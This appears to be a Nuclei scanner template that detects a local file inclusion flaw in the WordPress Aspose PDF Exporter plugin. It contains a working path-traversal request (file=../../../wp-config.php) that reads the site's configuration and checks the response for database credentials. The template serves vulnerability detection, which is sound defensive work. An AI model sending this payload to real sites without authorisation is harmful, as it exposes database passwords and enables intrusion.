id: aspose-pdf-file-download

info:
  name: WordPress Aspose PDF Exporter - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: WordPress Aspose PDF Exporter is vulnerable to local file inclusion.
  reference:
    - https://packetstormsecurity.com/files/131161
    - https://wordpress.org/plugins/aspose-pdf-exporter
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: aspose,packetstorm,wordpress,wp-plugin,lfi

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/Wordpress/Aaspose-pdf-exporter/aspose_pdf_exporter_download.php?file=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        part: body
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fe30b78784049766547b33e6f0f4ee75add190ef5934151aea3000677d73fad40221009b78d9cbb0ad5c3f4f4618865912a1ed53971c7fca0138a281415a54e3679a1b:922c64590222798bb761d5b6d8e72950